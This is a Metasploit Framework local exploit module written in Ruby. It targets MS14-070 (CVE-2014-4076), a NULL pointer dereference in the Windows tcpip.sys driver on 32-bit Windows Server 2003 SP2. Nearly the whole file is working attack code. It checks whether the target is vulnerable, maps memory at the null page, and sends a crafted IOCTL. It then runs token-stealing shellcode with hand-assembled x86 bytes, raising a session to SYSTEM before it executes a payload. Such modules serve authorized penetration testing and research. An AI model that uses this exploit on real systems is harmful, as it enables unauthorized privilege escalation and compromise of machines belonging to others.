## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info = {}) super( update_info( info, { 'Name' => 'MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference', 'Description' => %q{ A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin ', # Vulnerability discovery and PoC 'Jay Smith ' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows Server 2003 SP2', { '_KPROCESS' => "\x38", '_TOKEN' => "\xd8", '_UPID' => "\x94", '_APLINKS' => "\x98" } ] ], 'References' => [ ['CVE', '2014-4076'], ['MSB', 'MS14-070'], ['OSVDB', '114532'], ['URL', 'https://blog.korelogic.com/blog/2015/01/28/2k3_tcpip_setaddroptions_exploit_dev'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt'] ], 'DisclosureDate' => '2014-11-11', 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_railgun_api stdapi_sys_process_attach stdapi_sys_process_memory_write ] } }, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } } ) ) end def check if sysinfo["Architecture"] == ARCH_X64 return Exploit::CheckCode::Safe('Target is not vulnerable') end handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') return Exploit::CheckCode::Safe('Target is not vulnerable') unless handle session.railgun.kernel32.CloseHandle(handle) file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys" unless file?(file_path) return Exploit::CheckCode::Unknown('Unable to determine target state') end major, minor, build, revision, branch = file_version(file_path) vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable") end return Exploit::CheckCode::Safe("Revision #{revision} is not vulnerable") end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] == ARCH_X64 fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") end print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE") unless this_proc.memory.writable?(0x1000) fail_with(Failure::Unknown, 'Failed to allocate memory') end buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = token_stealing_shellcode(target, nil, nil, false) # move up the stack frames looking for nt!KiSystemServicePostCall sc << "\x31\xc9" # xor ecx, ecx sc << "\x89\xeb" # mov ebx, ebp # count_frames sc << "\x41" # inc ecx sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000 sc << "\x8b\x1b" # mov ebx, dword [ebx] sc << "\x75\xf4" # jne short count_frames sc << "\x49" # dec ecx # loop_frames sc << "\x49" # dec ecx sc << "\x89\xec" # mov esp, ebp sc << "\x5d" # pop ebp sc << "\x83\xf9\x00" # cmp ecx, 0 sc << "\x75\xf7" # jne loop_frames sc << "\x31\xc0" # xor eax, eax sc << "\xc3" # ret this_proc.memory.write(0x28, "\x87\xff\xff\x38") this_proc.memory.write(0x38, "\x00\x00") this_proc.memory.write(0x1100, buf) this_proc.memory.write(0x2b, "\x00\x00") this_proc.memory.write(0x2000, sc) print_status("Triggering the vulnerability...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) # session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") end print_good("Exploitation successful!") unless execute_shellcode(payload.encoded, nil, this_proc.pid) fail_with(Failure::Unknown, 'Error while executing the payload') end end end